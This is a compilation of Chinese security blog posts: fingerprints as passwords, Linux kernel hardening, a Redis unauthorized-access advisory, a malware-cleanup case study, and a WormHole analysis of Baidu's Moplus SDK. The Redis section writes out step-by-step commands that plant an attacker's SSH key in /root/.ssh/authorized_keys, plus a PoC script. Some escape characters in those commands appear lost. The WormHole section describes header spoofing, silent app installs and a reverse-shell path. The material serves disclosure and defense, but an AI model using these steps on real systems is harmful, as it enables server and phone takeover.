在德国的黑客交流大会上，starbug 做了一个很棒的演讲，他讨论了这项技术所需要的照片分辨率，以及很多其他和生物特征辨识相关的黑客技术。不过重点在于，只要有足够的分辨率、或者是一个足够好的镜头，就可以从一个很舒服的距离拍摄到指纹的照片。其中主要的限制是焦距带来的浅景深以及光照情况，这对于那些在照明充足的台上、面对一大堆相机的政客们来说可不是个好消息。不管你是不是政客，除非你一直戴着手套，否则你的指纹就不会得到很好的保护。

指纹是不可改变的

好吧，假设说你的普通密码不管因为什么原因泄露了，会有多糟？在理想世界中，被攻破的网站会通知你并提醒你更换密码。你可以把宠物狗的名字换成宠物猫的名字，或者你出生的年份和你妹妹的出生年份。搞定！

不过如果你用指纹当密码，然后不慎泄露的话，却不可能去改变它。实际上，在传统使用指纹的场景中，正是利用了它的唯一性和不可变性——比如在犯罪现场中用来甄别罪犯。要是能在犯罪之后改变指纹的话，你就不用戴那些碍事的手套了。

指纹会伴随你一生。如果我盗取了你的指纹，我就可以解锁你现有的指纹加密的设备，和你以后购买的所有指纹加密的设备。指纹只是半安全的，它不可修改，这让它成了相当糟糕的密码。这一点不用再多说了，反正肯定就是这么回事儿了，不过还是得强调一下，因为世上还是有很多坏警察的（译注：会盗用你的指纹）。

举个例子，敏感的政府机构会使用个人身份认证（PIV）卡，上面包括了雇员的指纹。除了需要输入正确的密码之外，使用 PIV 卡的联邦雇员还必须扫描指纹，并和保存在卡内的指纹进行对比。这种使用密码和指纹匹配的方式构成了双重认证系统。

而在这之后，美国国家人事局（OPM）被黑了，560 万（！）枚政府雇员的指纹被窃取，很可能是外国间谍机构干的。于是现在国土安全局可能不得不改为使用“三重认证”，因为其中的一个认证方式已经彻底完蛋了。如果当初政府在 PIV 卡中使用了一种可替换的方式，至少这次泄露弥补起来会容易得多。

密码需要定期更换来确保其保密性和安全性。指纹是不可更换的。

指纹是不能被哈希处理的

指纹的问题在于判定的时候只要近似就够了，而且应该也是这样。如果我在指纹识别器上按手指的时候稍微大了点劲儿，或者稍微错位了一点，又或者手指被划伤了，我依然希望这个识别器能接受我的指纹。训练有素的 FBI 探员在对比指纹时，通常都使用“部分”匹配的方式，只要有合理的精确度就够了。对于血肉之躯的人类和现实世界中的指纹扫描仪来说，近似匹配是合情合理的。不过只要指纹有细微的瑕疵，经过哈希处理后就会和参照版本完全不同。这也就意味着指纹是不可哈希的。哈希算法让密码更加健壮，一旦缺少了哈希算法的保护，指纹就变得脆弱得多。

现在假设一个靠谱点的网站被黑了，就算黑客窃取了网站的密码数据库，他们也不会因此拥有这些密码的列表。他们只能得到用户名以及被单向哈希之后的密码。

当你输入密码的时候，网站会对结果进行哈希运算。如果你输入的哈希值和网站保存的哈希值相同，就能确认这个密码是正确的。因为哈希算法是完全单向的，所以对任何人来说，从哈希结果反推出你实际的密码几乎都是不可能的。实际上，反推哈希密码最简单的方式，就是尝试每个可能的密码，计算哈希值，然后进行比较。

相比之下，一个简单初级的实现，就是网站直接保存了每个用户的密码，但是用一个主密码对它们进行加密。如果黑客能够搞定这个主密码，他们就能破解整个数据库中的所有密码。这个主密码在每次密码校验过程中都会用到，这使得它拥有巨大的价值，同时却也非常脆弱。如果使用不同的主密码分别加密每个用户的数据的话，就意味着他们还得维护一个巨大的主密码数据库，这其实毛用都没有。这就是为什么每个靠谱的网站都只会保存用户密码的哈希结果。

不过哈希算法仍然可以比加密做得更好。如果网站的开发者拥有足够的安全意识，就会在进行哈希计算之前进行加盐：在密码中附加上其他的一些东西（这个东西不必是保密的）；这会让暴力破解的过程变得更加缓慢，因为这相当于每个人的密码都是以不同的形式进行哈希的。

如果咱俩都使用了“!password123”作为密码，不过我的密码之前加了“elliot”，而你的密码之前加了“joe_user”，我们的密码经过哈希处理之后就会变得完全不同。就算黑客最终猜到了你的密码，因为这个“盐值”的存在，他们也无法立刻得知我的密码。

如果网站安全做得特别好的话，这个哈希过程会使用一个耗时的算法重复进行上千次，从而进一步减缓了暴力破解的速度。在你登录网站的时候如果花上个半秒一秒，对你来说可能不是什么事儿，不过对于那些依赖于每秒进行数百万次尝试的暴力破解者来说，这可就是大麻烦了。密码管理软件 LastPass 被破解（译注：如果你的浏览器默认是中文语言，这个链接会跳到他自己的中文版页面上，这个中文版页面……有点逗比），这件事是个很好的例证。他们被破解了这事儿本身确实挺糟的，你还是得换掉你的主密码，不过如果做得够好的话，任何人还是无法在短时间内暴力破解你的密码。

指纹和雪崩效应

刚才这些东西和指纹到底有啥关系？指纹本身不能经过哈希处理，所以上面那些做法（在数据中只保存加盐密码的哈希值）在安全性上面所带来的优势，对指纹来说毛用没有。这是因为除了单向之外，一个好的哈希算法展现了所谓的雪崩效应：密码中一个轻微的改变会导致哈希结果极大的区别。

字符串“!password123”在使用 MD5 哈希处理之后，得到的值是 b3a2efccbe10c39f2119979a6f9a3ab2，而“!Password123”对应的值是 d2583f9c75fbc22890d39e7241927511。这两个字符串只有一个字母不同，那个大写的“P”，但是两个哈希结果的差异却相当巨大。这防止了那些暴力破解者去判断他们尝试的密码和实际密码之间的近似程度。如果密码中每出现一个正确字母就和目标哈希值接近一分的话，他们毫不费力地就能猜到你的密码了。雪崩效应意味着猜到“相似”的密码是毫无意义的。

正如我之前提到的，指纹技术需要能判断出“足够相似”。如果把它进行哈希处理的话，就会差之毫厘、谬以千里。这也就是说，指纹只能被明文存储，或者加密存储，但是哈希算法一点用也没有，因为一个好的哈希算法会导致雪崩效应。指纹数据库不可避免地会成为薄弱环节，只要你的指纹被保存下来，不管是在你的 iPhone 上、在 IPV 卡上还是在电子护照上，只要知道了主密码，这里面存储的指纹都可以被破解。

电子护照

哈希方法对比加密方法的一个很好的例子，就是电子护照。其中加密保存了你的指纹和虹膜照片的数据，因为这些都是敏感信息。不过这些数据也只能加密（而不能哈希处理），因为护照读取器需要能够解密这些信息，才能和你的手指和眼睛进行比对。（译注：中国的电子护照在芯片内也包含指纹和照片，也是加密保存的）

在这上面，所有你的非敏感信息和加密之后的数据包会一起进行哈希计算，这个哈希值会使得篡改其中任何信息都变得很困难。你可能想在这些数据里面改变一个比特，然后在别的地方改变另一个比特“找补”回来，然而雪崩效应让这一切成为不可能。

即使这样，到目前为止，这也仅仅意味着你的指纹只能通过加密的方式进行保护，而不是哈希处理的方式。这对于海关来说无所谓，因为他们只关心你的指纹是不是被篡改过了。对他们来说，你的指纹只是用来证明你就是你；以及通过跟在你的信息后面的一个哈希值，来确保你的数据不会被篡改。

而另一方面，对于考虑到隐私问题的个人而言，只是把你的指纹进行加密不免让人有些担忧。一个拥有你的护照和正确密码的坏蛋，可以把数据进行解密从而获得你的指纹。虽然从护照封皮上提取你的指纹可能要容易得多，因为指纹不是保密的，还记得吧？

结论

别把你的指纹当密码用。指纹是永久不变的、容易校验的并可以轻松获取的，这对于犯罪调查和确认你的身份来说非常有帮助。不过它们并不是密码，因为它们不是保密的、是无法改变的、而且也很难安全地保存。

别拿指纹当密码，没用！看完你就明白了，首发于博客 – 伯乐在线。

最近《华盛顿邮报》刊文称，安全社区与 Linux 内核开发者之间的关系正处于紧张阶段。这种遭强烈的行为被称为 FUD（恐惧、疑惑、怀疑，即心理恐怖战术）， Rob Graham 宣称目前无人攻击系统内核。

不幸的是，事实证明他的言论是完全错误的，这并不是 FUD 行为，目前Linux内核的安全状况还远远没有达到它应该达到的状态。

举个例子，最新版本的Android系统使用SELinux来限制应用程序的运行。这令你即使拥有一个在Android上可被完全控制的应用程序，SELinux规则也能使你很难做成任何事，尤其是用户控制。有家违反 GPL 协议的意大利公司 Hacking Team ，在销售一款可以侵犯用户隐私的监控软件，但他们发现这种内核阻碍了他们将间谍软件传输到目标设备。所以他们利用许多 Android 设备内核的 copy-from-user() 缺陷，从而实现允许他们复制任意一个用户空间的数据及其内核代码的行为，因此他们也能做到禁用SELinux。

如果我们可以信任用户空间的应用程序，我们是不需要SELinux的。但我们假定用户空间的代码是不成熟的，配置是错误的或者是完全怀有敌意的，我们就要使用例如SELinux或AppArmor等技术来限制其行为。只是有很多用户空间的代码对我们都保证是无害的，我们尽力阻止的只是它可能出现的对我们造成侵害的部分。

这在内核中显然是不正确的。这种模型目前为止在很大程度上已经是“当我们找到他们时方能修复安全漏洞”，这种方法的失败体现在两个层面上：

（1）当我们找到并修复它们，但在被修复版本可以使用，到它真正被部署，这中间是有一个空窗期的。

（2）尽管动用了尖端的力量，也可能无法在第一时间发现它们。

这种反应方式是针对某个世界，一个无需先进行公测就可以进行软件更新的世界，那个世界中有以寻找内核漏洞为乐趣的好人。然而，我们并不生活在那个世界，这种方法也并不可行。

正如SELinux等功能可以使我们减少可能遭受的侵害一样，如果一个新的用户空间安全隐患被发现，攻击者将内核错误变成一个可利用的漏洞，我们可以将修复功能添加至内核，使攻击变得困难（或不可能）。如今使用Linux系统的人数越来越多，许多用户依赖这些系统在各个关键方面的安全性能，那么尽我们所能不辜负他们的信任是至关重要的。

许多有用的缓解功能已经存在于Grsecurity patchset中，但技术分歧出现在某些特性的结合，而个性冲突和明显缺乏热情的上游内核开发人员导致它几乎没有被应用于大多数人所使用的内核中。Kees Cook提出了一个新的想法，开始更加齐心协力的将Grsecurity组件迁移到上游。如果你依赖于内核安全组件，因基于它而运行程序或者说因为你自己本身就使用它，那你应尽你所能去支持这一想法。

因为安全平台的漏洞，微软受到了无可非议的批评。他们回应称，已经跨操作系统引入了先进的安全功能，包括内核部分。任何一个指责说我们需要做同样的 FUD 传播的人，他们都要冒着自由软件被边缘化为专有软件的风险，来提供更多实际性的安全功能。那并不是个好结果。

为什么提升内核的安全性很重要，首发于博客 – 伯乐在线。

Sebug 公布了 Redis 未授权访问缺陷的详细漏洞信息，这个 Redis 未授权访问缺陷可轻易导致系统被黑。详细内容请看下文：

漏洞概要

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。

漏洞概述

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将Redis服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法，可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。

漏洞描述

Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。

Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

因为其他受信任用户需要使用Redis或者因为运维人员的疏忽等原因，部分Redis绑定在0.0.0.0:6379，并且没有开启认证（这是Redis的默认配置），如果没有进行采用相关的策略，比如添加防火墙规则避免其他非信任来源ip访问等，将会导致Redis服务直接暴露在公网上，导致其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。

利用Redis自身的相关方法，可以进行写文件操作，攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中，进而可以直接登录目标服务器。

漏洞影响

Redis 暴露在公网（即绑定在0.0.0.0:6379，目标IP公网可访问），并且没有开启相关认证和添加相关安全策略情况下可受影响而导致被利用。

通过ZoomEye 的搜索结果显示，有97700在公网可以直接访问的Redis服务。

根据 ZoomEye 最新于2015年11月12日0点探测结果显示：

总的存在无验证可直接利用 Redis 服务的目标全球有49099，其中中国有16477。其中被明着写入crackit的，也就是已经被黑的比例分别是全球65%（3.1万），中国67.5%（1.1万）。

1.1.    漏洞分析与利用

首先在本地生产公私钥文件:

$ssh-keygen –t rsa

然后将公钥写入foo.txt文件

$ (echo -e "nn"; cat id_rsa.pub; echo -e "nn") > foo.txt

再连接Redis写入文件

$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /Users/antirez/.ssh/OK
$ 192.168.1.11:6379> config get dir1) "dir"2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"OK
$ 192.168.1.11:6379> saveOK

这样就可以成功的将自己的公钥写入/root/.ssh文件夹的authotrized_keys文件里，然后攻击者直接执行：

$ ssh –i  id_rsa root@192.168.1.11

即可远程利用自己的私钥登录该服务器。

当然，写入的目录不限于/root/.ssh 下的authorized_keys，也可以写入用户目录，不过Redis很多以root权限运行，所以写入root目录下，可以跳过猜用户的步骤。

Redis 未授权的其他危害与利用

数据库数据泄露

Redis 作为数据库，保存着各种各样的数据，如果存在未授权访问的情况，将会导致数据的泄露，其中包含保存的用户信息等

代码执行

Redis可以嵌套Lua脚本的特性将会导致代码执行, 危害同其他服务器端的代码执行, 样例如下

一旦攻击者能够在服务器端执行任意代码, 攻击方式将会变得多且复杂, 这是非常危险的.

通过Lua代码攻击者可以调用 redis.sha1hex() 函数，恶意利用 Redis 服务器进行 SHA-1 的破解。

敏感信息泄露

通过 Redis 的 INFO 命令, 可以查看服务器相关的参数和敏感信息, 为攻击者的后续渗透做铺垫

可以看到泄露了很多 Redis 服务器的信息, 有当前 Redis 版本, 内存运行状态, 服务端个数等等敏感信息。

全球无验证可直接利用 Redis 分布情况

全球无验证可直接利用 Redis TOP 10 国家与地区

漏洞 PoC

#!/usr/bin/env python
# -*- coding:utf-8 -*-
import socket
import urlparse
from pocsuite.poc import POCBase, Output
from pocsuite.utils import register
class TestPOC(POCBase):
    vulID = '89339'
    version = '1'
    author = ['Anonymous']
    vulDate = '2015-10-26'
    createDate = '2015-10-26'
    updateDate = '2015-10-26'
    references = ['http://sebug.net/vuldb/ssvid-89339']
    name = 'Redis 未授权访问 PoC'
    appPowerLink = 'http://redis.io/'
    appName = 'Redis'
    appVersion = 'All'
    vulType = 'Unauthorized access'
    desc = '''
        redis 默认不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。
    '''
    samples = ['']
    def _verify(self):
        result = {}
        payload = 'x2ax31x0dx0ax24x34x0dx0ax69x6ex66x6fx0dx0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)
    def _attack(self):
        return self._verify()
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output
register(TestPOC)

解决方案

临时解决方案

1. 配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
2. 配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
3. 配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
4. 好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如config

官方解决方案

暂无官方解决方案

推荐防护方案

暂无防护方案

Redis 未授权访问缺陷可轻易导致系统被黑，首发于博客 – 伯乐在线。

恶意代码清除实战 什么是恶意代码，指令集？是二进制可执行指令？还是脚本语言？字处理宏语言？其他指令集等等……以常见的类型举例，那么如果一台服务器存在恶意代码，windows系列机器的恶意代码一般指的是病毒，蠕虫，木马后门，linux系统机器恶意代码一般就是Rootkit。

那么如何快速判断自己的web服务器是否存在恶意代码，是否由于web端的问题导致的内网渗透，或被植入恶意代码作为跳板机、肉鸡等；如何通过手工或者工具的方式快速清除恶意代码，加固系统加固，预防下一次入侵带来的问题。

绿盟科技博客邀请安全服务团队的安全工程师从一个实战案例入手，来讲解如何手工清除恶意代码。现在已知有一台服务器表现不太正常，需要我们来排查这个服务器存在什么问题。

查看系统日志

前提是该服务器的日志策略，审核策略已经开启。

经过查询日志可以发现，攻击者从TerminalService端即远程桌面进行了多次登录尝试，并出现大量相同状态日志，即在进行远程暴力猜测。由于登录失败次数限制，延缓了攻击者猜测出真实口令的时间。

恶意程序如何执行

通过查看系统计划任务可以发现，攻击者使用较为老套的计划任务方式执行木马程序。

查看计划任务属性，便可以发现木马文件的路径。

木马文件和svchost.exe文件名较像，具有一定的迷惑性，属于常规隐藏方式。经过查询可知，svchsot.exe是Troj/GWGhost-O木马相关程序，即该木马的主要组件。

继续追查痕迹

另外，慢慢遵循着入侵者的脚步，可见攻击者动过的手脚不止这一处。

在prefetch文件夹下，prefetch目录下为系统启动的预读取文件，可以看见xiaoma，和抓肉鸡工具，查看创建时间发现早在几天前甚至更早就已经拿下该服务器为肉鸡，只是尚未发现。

另外发现，存在一些.pf文件，显然攻击者希望在系统运行的时候就成为肉鸡，根据系统启动预读取文件.pf的文件名反向搜索，诱敌深入。

可以发现在system目录下，存在.pf文件的链接指向文件，显然也是通过这个方式来开机加载的，使得服务器开机即上线沦为工具，真是放长线钓大鱼啊。

旁敲侧击

查看进程，可以从运行进程上来发现系统内存在的问题；

综上案例，在寻找恶意代码的过程中，根据各种方式查看系统信息是宗旨，根据收集到的信息判断恶意代码的存在位置和触发方式，进而删除恶意代码执行文件，并且侦查恶意代码的附属产品是否有影响系统启动项、系统文件等；将和恶意代码相关的执行文件、服务、链接等一并删除，如果可以的话，最为稳妥的重装操作系统当然是极好的。

对于我们来排查服务器系统存在的问题，我们要从进程、服务、启动项、网络连接、钩子等方面进行检查，并根据安全事件发生的时间节点，在查看系统信息时重点关注该时间节点的前后的日志事件和系统信息变化，如果可以的话可以以时间点为线索进行关联分析，从而摸清楚入侵者的思路和操作步骤。这里也推荐一些常用的小工具，可以帮助我们更好的来获取不同类别的系统信息，从而抓住系统痕迹，找到问题。

痕迹一：进程

推荐小工具：Process explore

查看可疑的进程及其子进程。可以通过观察以下内容：

• 没有签名验证信息的进程
• 没有描述信息的进程
• 进程的属主
• 进程的路径是否合法
• CPU或内存资源占用长时间过高的进程

痕迹二：文件

推荐方式：根据日期排序，检查系统敏感目录文件的改动。

痕迹三：启动项

推荐小工具：Autoruns

这个小工具能够查看到系统的启动项，并且能够对大部分启动项做出说明，同时显示调用注册表路径，同时还能对一些常见的木马运行方式，BHO项、计划任务、镜像劫持等作出检查和侦测。一般判断的标准是，是否该项有注释说明，是否是可疑的常见组件，是否不是管理员添加的项等。

痕迹四：综合分析

推荐小工具：Icesword

Icesword功能比较强大，可以对隐藏进程进行检测，并以红色标出，方便我们查找；同时还可以对端口，服务，注册表，文件，线程等进行侦测观察，对没有描述或者奇怪的可疑选项名称进行逐一手工检测。

THE END

进行恶意代码侦查的过程是一个很有趣的过程，逆着入侵者的思路来，就像还原犯罪现场，时光倒流，加上推理和分析，不放过一丝一毫的线索；相信喜欢侦探小说的你，一定会喜欢上恶意代码侦查探索的过程的。

恶意代码清除实战，首发于博客 – 伯乐在线。

「You can’t have a back door in the software because you can’t have a back door that’s only for the good guys.」 – Apple CEO Tim Cook

「你不应该给软件装后门，因为你不能保证这个后门只有好人能够使用。」—— 苹果 CEO 库克

0×00 序

最早接触网络安全的人一定还记得当年RPC冲击波，WebDav等远程攻击漏洞和由此产生的蠕虫病毒。黑客只要编写程序扫描网络中开放了特定端口的机器，随后发送对应的远程攻击代码就可以控制对方主机，在控制对方主机后，程序可以继续扫描其他机器再次进行攻击。因为漏洞出在主机本身，想要修复漏洞必须安装补丁才行，但因为很多人并不会及时升级系统或者安装补丁，所以漏洞或者蠕虫会影响大量的机器非常长的时间，甚至有的蠕虫病毒可以感染全世界上亿的服务器，对企业和用户造成非常严重的损失。

Android发布后，我们就一直幻想着能发现一个像PC上的远程攻击一样厉害的漏洞，但是Android系统默认并没有开放任何端口，开放socket端口的APP也非常稀少，似乎出现像PC那样严重的漏洞是不太可能的。但可惜的是，世界上并没有绝对的安全，就在这么几个稀少的端口中，我们真的找了一个非常严重的socket远程攻击漏洞，并且影响多个用户量过亿的APP，我们把这个漏洞称之为WormHole虫洞漏洞。

0×01 影响和危害

WormHole虫洞漏洞到底有多严重呢？请看一下我们统计的受影响的APP列表（还没有统计全）：

百度地图 检测版本8.7
百度手机助手 检测版本6.6.0
百度浏览器 检测版本6.1.13.0
手机百度 检测版本6.9
hao123 检测版本6.1
百度音乐 检测版本5.6.5.0
百度贴吧 检测版本6.9.2
百度云 检测版本7.8
百度视频 检测版本7.18.1
安卓市场 检测版本6.0.86
百度新闻 检测版本5.4.0.0
爱奇艺 检测版本6.0
乐视视频 检测版本5.9
…完整列表见附录

这个列表是2015年10月14号统计的百度系APP的最新版，理论上所有小于等于检测版本的这些百度系的APP都有被远程攻击的危险。根据易观智库的统计排行：

可以看到手机百度、百度手机助手、百度地图等百度系APP有着上亿的下载安装量和加起来超过三亿的活跃用户。

安装了百度的这些APP会有什么后果和危害呢？

1. 无论是 wifi 无线网络或者3G/4G 蜂窝网络，只要是手机在联网状态都有可能受到攻击。攻击者事先无需接触手机，无需使用DNS欺骗。
2. 此漏洞只与app有关，不受系统版本影响，在google最新的android 6.0上均测试成功。
3. 漏洞可以达到如下攻击效果:

• 远程静默安装应用
• 远程启动任意应用
• 远程打开任意网页
• 远程静默添加联系人
• 远程获取用用户的GPS地理位置信息/获取imei信息/安装应用信息
• 远程发送任意intent广播
• 远程读取写入文件等。

下面是视频DEMO:

俺们做的视频效果太差,下面demo视频是从网上看到的：

0×02 漏洞分析

安装百度系app后，通过adb shell连接手机，随后使用netstat会发现手机打开了40310/6259端口，并且任何IP都可以进行连接。

原来这个端口是由java层的nano http实现的，并且这个http服务，百度给起名叫immortal service（不朽/不死的服务）。为什么叫不朽的呢？因为这个服务会在后台一直运行，并且如果你手机中装了多个有wormhole漏洞的app，这些app会时刻检查40310/6259端口，如果那个监听40310/6259端口的app被卸载了，另一个app会立马启动服务重新监听40310/6259端口。

我们继续分析，整个immortal service服务其实是一个http服务，但是在接受数据的函数里有一些验证,比如 http 头部remote-addr字段是否是”127.0.0.1”，但是会一点web技巧的人就知道，只要伪造一下头部信息就可把remote-addr字段变成”127.0.0.1”。

成功的和http server进行通讯后，就可以通过url给APP下达指令了。拿百度地图为例，以下是百度地图APP中存在的远程控制的指令的反汇编代码：

1. geolocation 获取用户手机的GPS地理位置（城市，经度，纬度）
2. getsearchboxinfo 获取手机百度的版本信息
3. getapn 获取当前的网络状况（WIFI/3G/4G运营商）
4. getserviceinfo 获取提供 nano http 的应用信息
5. getpackageinfo 获取手机应用的版本信息
6. sendintent 发送任意intent 可以用来打开网页或者与其他app交互
7. getcuid 获取imei
8. getlocstring 获取本地字符串信息
9. scandownloadfile 扫描下载文件(UCDownloads/QQDownloads/360Download…)
10. addcontactinfo 给手机增加联系人
11. getapplist获取全部安装app信息
12. downloadfile 下载任意文件到指定路径如果文件是apk则进行安装
13. uploadfile 上传任意文件到指定路径 如果文件是apk则进行安装

当我们看到这些远程指令的时候吓了一跳。你说你一个百度地图好好的导航行不行？为什么要去给别人添加联系人呢？添加联系人也就算了，为什么要去别的服务器下载应用并且安装呢？更夸张的是，安装还不是弹出对话框让用户选择是否安装，而是直接申请root权限进行静默安装。下图是代码段：

可以看到下载完app后会有三个判断:

1. 手机助手为系统应用直接使用android.permission.INSTALL_PACKAGES权限静默安装应用
2. 手机助手获得 root 权限后使用 su 后执行 pm install 静默安装应用
3. 非以上二种情况则弹出引用安装的确认框

一般用户是非常相信百度系APP，如果百度系APP申请了root权限的话一般都会通过，但殊不知自己已经打开了潘多拉的魔盒。

如果手机没root就没法静默安装应用了吗？不是的，downloadfile和uploadfile可以选择下载文件的位置，并且百度系app会从”/data/data/[app]/”目录下动态加载一些dex或so文件，这时我们只需要利用downloadfile或uploadfile指令覆盖原本的dex或so文件就可以执行我们想要执行的任意代码了。比如说，利用dex或者so获取一个反弹shell，然后把提权的exp传到手机上执行获得root权限，接下来就可以干所有想干的任何事情了。

0×03 POC

因为影响过大，暂不公布，会在WormHole漏洞修复完后更新。

0×04 测试

简单测试了一下WormHole这个漏洞的影响性，我们知道3G/4G下的手机其实全部处于一个巨大无比的局域网中，只要通过4G手机开个热点，就可以用电脑连接热点然后用扫描器和攻击脚本对全国甚至全世界连接了3G/4G的手机进行攻击。在家远程入侵一亿台手机不再是梦。

我们使用获取包名的脚本，对电信的下一个 C 段进行了扫描，结果如下：

Discovered open port 6259/tcp on 10.142.3.25  "com.baidu.searchbox","version":"19"
Discovered open port 6259/tcp on 10.142.3.93  "packagename":"com.baidu.appsearch"
Discovered open port 6259/tcp on 10.142.3.135  "com.hiapk.marketpho","version":"121"
Discovered open port 6259/tcp on 10.142.3.163  "packagename":"com.hiapk.marketpho"
Discovered open port 6259/tcp on 10.142.3.117  "com.baidu.browser.apps","version":"121"
Discovered open port 6259/tcp on 10.142.3.43   "com.qiyi.video","version":"20"
Discovered open port 6259/tcp on 10.142.3.148  "com.baidu.appsearch","version":"121"
Discovered open port 6259/tcp on 10.142.3.196  "com.baidu.input","version":"16"
Discovered open port 6259/tcp on 10.142.3.204  "com.baidu.BaiduMap","version":"20"
Discovered open port 6259/tcp on 10.142.3.145  "com.baidu.appsearch","version":"121"
Discovered open port 6259/tcp on 10.142.3.188  "com.hiapk.marketpho","version":"21"
Discovered open port 40310/tcp on 10.142.3.53  "com.baidu.BaiduMap","version":"122"
Discovered open port 40310/tcp on 10.142.3.162  "com.ting.mp3.android","version":"122" 
Discovered open port 40310/tcp on 10.142.3.139 "com.baidu.searchbox","version":"122"
Discovered open port 40310/tcp on 10.142.3.143 "com.baidu.BaiduMap","version":"122"
Discovered open port 40310/tcp on 10.142.3.176  "packagename":"com.baidu.searchbox"

255个IP就有16手机有WormHole漏洞。

除此之外，我们发现华为，三星，联想，金立等公司的某些机型在中国出厂的时候都会预装百度系app，突然间感到整个人都不好了。。。

0×05 总结

我们已经在2015年10月14日的时候将WormHole的漏洞报告通过乌云提交给了百度，并且百度已经确认了漏洞并且开始进行修复了。但这次漏洞并不能靠服务器端进行修复，必须采用升级app的方法进行修复，希望用户得到预警后尽快升级自己的应用到最新版，以免被WormHole漏洞攻击。

0×06 受影响的app列表

足球直播
足球巨星
足彩网
卓易彩票
助手贴吧
中国足彩网
中国蓝TV
中国蓝HD
珍品网
掌上百度
悦动圈跑步
优米课堂
音悦台
移动91桌面
央视影音
修车易
小红书海外购物神器
侠侣周边游
物色
万达电影
贴吧看片
贴吧饭团
视频直播
生活小工具
上网导航
全民探索
穷游
汽车之家
拇指医生(医生版)
萌萌聊天
美西时尚
么么哒
蚂蚁短租
旅游攻略
乐视视频
酷音铃声
口袋理财
经理人分享
购车族
歌勇赛
凤凰视频
风云直播Pro
多米音乐
都市激情飙车
懂球帝
蛋蛋理财
穿越古代
彩票到家
彩票365
爆猛料
百姓网
百度桌面Plus
百度云
百度游戏大全
百度音乐2014
百度新闻
百度团购
百度图片
百度贴吧青春版
百度贴吧简版
百度贴吧HD
百度输入法
百度手机助手
百度手机游戏
百度视频HD
百度视频
百度浏览器
百度翻译
百度地图DuWear版
百度地图
百度HD
百度
安卓市场
爱奇艺视频
VidNow
Video Now
T2F话友
Selfie Wonder
PPS影音
PhotoWonder
hao123特价
CCTV手机电视
91桌面
91助手
91爱桌面
91 Launcher
365彩票

PS:

1.文章是提前编辑好打算漏洞公开后再发布,趋势已经发文所以跟进.

http://blog.trendmicro.com/trendlabs-security-intelligence/setting-the-record-straight-on-moplus-sdk-and-the-wormhole-vulnerability/

2.网上公布的一些 app 列表大多是根据百度 moplus SDK 的特征指令静态扫描得来这样会有一定误报导致无辜 app 躺枪,比如漫画岛app 虽然集成了此 SDK 但是因为代码混淆策略,指令实现类名被混淆后 findClass 无法找到,所以 exp 都会提示404.

3.关联漏洞

WooYun: 百度输入法安卓版存在远程获取信息控制用户行为漏洞（可恶意推入内容等4G网络内可找到目标）

WooYun: WormHole虫洞漏洞总结报告(附检测结果与测试脚本)

比葫芦娃还可怕的百度全系APP SDK漏洞 – WormHole虫洞漏洞分析报告，首发于博客 – 伯乐在线。